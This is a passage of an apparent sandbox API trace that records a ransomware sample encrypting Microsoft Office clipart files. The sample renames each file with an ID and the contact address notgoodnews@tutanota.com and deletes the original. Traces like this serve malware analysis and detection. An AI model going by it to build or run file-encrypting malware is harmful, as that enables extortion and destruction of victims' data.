[0088.715] lstrlenW (lpString=".7z") returned 3 [0088.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0088.715] lstrlenW (lpString=".dbf") returned 4 [0088.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0088.715] lstrlenW (lpString=".1cd") returned 4 [0088.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0088.715] lstrlenW (lpString=".jpg") returned 4 [0088.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0088.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0088.715] lstrlenW (lpString=".doc") returned 4 [0088.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.715] lstrlenW (lpString=".docx") returned 5 [0088.715] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.715] lstrlenW (lpString=".pdf") returned 4 [0088.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.715] lstrlenW (lpString=".xls") returned 4 [0088.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.715] lstrlenW (lpString=".xlsx") returned 5 [0088.715] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.715] lstrlenW (lpString=".ppt") returned 4 [0088.715] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0088.715] lstrlenW (lpString=".zip") returned 4 [0088.715] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.715] lstrlenW (lpString=".rar") returned 4 [0088.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.715] lstrlenW (lpString=".bz2") returned 4 [0088.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.715] lstrlenW (lpString=".7z") returned 3 [0088.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0088.716] lstrlenW (lpString=".dbf") returned 4 [0088.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0088.716] lstrlenW (lpString=".1cd") returned 4 [0088.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0088.716] lstrlenW (lpString=".jpg") returned 4 [0088.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.716] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0088.716] lstrlenW (lpString="HH01291_.WMF") returned 12 [0088.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0089.556] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=15806) returned 1 [0089.556] CloseHandle (hObject=0x2c4) returned 1 [0089.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x220 [0089.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0089.557] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.557] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0089.557] GetLastError () returned 0x0 [0089.557] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x3dbe, lpOverlapped=0x0) returned 1 [0089.559] WriteFile (in: hFile=0x390, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x3dc0, lpOverlapped=0x0) returned 1 [0089.560] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.560] WriteFile (in: hFile=0x390, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0089.560] SetEndOfFile (hFile=0x390) returned 1 [0089.560] CloseHandle (hObject=0x390) returned 1 [0089.560] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.560] SetEndOfFile (hFile=0x2c4) returned 1 [0089.561] CloseHandle (hObject=0x2c4) returned 1 [0089.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 1 [0089.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0089.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0089.562] lstrlenW (lpString=".doc") returned 4 [0089.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.562] lstrlenW (lpString=".docx") returned 5 [0089.562] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.562] lstrlenW (lpString=".pdf") returned 4 [0089.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.562] lstrlenW (lpString=".xls") returned 4 [0089.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.562] lstrlenW (lpString=".xlsx") returned 5 [0089.562] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.562] lstrlenW (lpString=".ppt") returned 4 [0089.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0089.562] lstrlenW (lpString=".zip") returned 4 [0089.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.562] lstrlenW (lpString=".rar") returned 4 [0089.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.562] lstrlenW (lpString=".bz2") returned 4 [0089.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.562] lstrlenW (lpString=".7z") returned 3 [0089.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0089.562] lstrlenW (lpString=".dbf") returned 4 [0089.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0089.562] lstrlenW (lpString=".1cd") returned 4 [0089.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0089.562] lstrlenW (lpString=".jpg") returned 4 [0089.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0089.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0089.562] lstrlenW (lpString=".doc") returned 4 [0089.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.562] lstrlenW (lpString=".docx") returned 5 [0089.562] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.563] lstrlenW (lpString=".pdf") returned 4 [0089.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.563] lstrlenW (lpString=".xls") returned 4 [0089.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.563] lstrlenW (lpString=".xlsx") returned 5 [0089.563] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.563] lstrlenW (lpString=".ppt") returned 4 [0089.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0089.563] lstrlenW (lpString=".zip") returned 4 [0089.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.563] lstrlenW (lpString=".rar") returned 4 [0089.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.563] lstrlenW (lpString=".bz2") returned 4 [0089.563] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.563] lstrlenW (lpString=".7z") returned 3 [0089.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0089.563] lstrlenW (lpString=".dbf") returned 4 [0089.563] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0089.563] lstrlenW (lpString=".1cd") returned 4 [0089.563] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0089.563] lstrlenW (lpString=".jpg") returned 4 [0089.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.563] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.563] lstrlenW (lpString="HM00172_.WMF") returned 12 [0089.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0089.564] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2832) returned 1 [0089.564] CloseHandle (hObject=0x2c4) returned 1 [0089.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x220 [0089.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0089.565] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.565] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0089.565] GetLastError () returned 0x0 [0089.565] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xb10, lpOverlapped=0x0) returned 1 [0089.568] WriteFile (in: hFile=0x390, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xb20, lpOverlapped=0x0) returned 1 [0089.569] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.569] WriteFile (in: hFile=0x390, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0089.569] SetEndOfFile (hFile=0x390) returned 1 [0089.569] CloseHandle (hObject=0x390) returned 1 [0089.570] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.570] SetEndOfFile (hFile=0x2c4) returned 1 [0089.570] CloseHandle (hObject=0x2c4) returned 1 [0089.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 1 [0089.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0089.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0089.571] lstrlenW (lpString=".doc") returned 4 [0089.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.571] lstrlenW (lpString=".docx") returned 5 [0089.571] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.571] lstrlenW (lpString=".pdf") returned 4 [0089.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.571] lstrlenW (lpString=".xls") returned 4 [0089.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.571] lstrlenW (lpString=".xlsx") returned 5 [0089.571] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.571] lstrlenW (lpString=".ppt") returned 4 [0089.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0089.571] lstrlenW (lpString=".zip") returned 4 [0089.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.571] lstrlenW (lpString=".rar") returned 4 [0089.571] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.571] lstrlenW (lpString=".bz2") returned 4 [0089.571] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.571] lstrlenW (lpString=".7z") returned 3 [0089.571] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0089.571] lstrlenW (lpString=".dbf") returned 4 [0089.571] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0089.572] lstrlenW (lpString=".1cd") returned 4 [0089.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0089.572] lstrlenW (lpString=".jpg") returned 4 [0089.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0089.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0089.572] lstrlenW (lpString=".doc") returned 4 [0089.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.572] lstrlenW (lpString=".docx") returned 5 [0089.572] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.572] lstrlenW (lpString=".pdf") returned 4 [0089.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.572] lstrlenW (lpString=".xls") returned 4 [0089.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.572] lstrlenW (lpString=".xlsx") returned 5 [0089.572] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.572] lstrlenW (lpString=".ppt") returned 4 [0089.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0089.572] lstrlenW (lpString=".zip") returned 4 [0089.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.572] lstrlenW (lpString=".rar") returned 4 [0089.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.572] lstrlenW (lpString=".bz2") returned 4 [0089.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.572] lstrlenW (lpString=".7z") returned 3 [0089.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0089.572] lstrlenW (lpString=".dbf") returned 4 [0089.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0089.572] lstrlenW (lpString=".1cd") returned 4 [0089.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0089.572] lstrlenW (lpString=".jpg") returned 4 [0089.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.573] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.573] lstrlenW (lpString="HM00426_.WMF") returned 12 [0089.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0089.573] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=68776) returned 1 [0089.573] CloseHandle (hObject=0x2c4) returned 1 [0089.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x220 [0089.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0089.574] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.574] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0089.574] GetLastError () returned 0x0 [0089.574] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x10ca8, lpOverlapped=0x0) returned 1 [0089.576] WriteFile (in: hFile=0x390, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x10cb0, lpOverlapped=0x0) returned 1 [0089.578] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.578] WriteFile (in: hFile=0x390, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0089.579] SetEndOfFile (hFile=0x390) returned 1 [0089.579] CloseHandle (hObject=0x390) returned 1 [0089.579] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.579] SetEndOfFile (hFile=0x2c4) returned 1 [0089.580] CloseHandle (hObject=0x2c4) returned 1 [0089.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 1 [0089.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0089.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0089.581] lstrlenW (lpString=".doc") returned 4 [0089.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.581] lstrlenW (lpString=".docx") returned 5 [0089.581] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.581] lstrlenW (lpString=".pdf") returned 4 [0089.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.581] lstrlenW (lpString=".xls") returned 4 [0089.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.581] lstrlenW (lpString=".xlsx") returned 5 [0089.581] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.581] lstrlenW (lpString=".ppt") returned 4 [0089.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0089.581] lstrlenW (lpString=".zip") returned 4 [0089.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.581] lstrlenW (lpString=".rar") returned 4 [0089.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.581] lstrlenW (lpString=".bz2") returned 4 [0089.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.581] lstrlenW (lpString=".7z") returned 3 [0089.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0089.581] lstrlenW (lpString=".dbf") returned 4 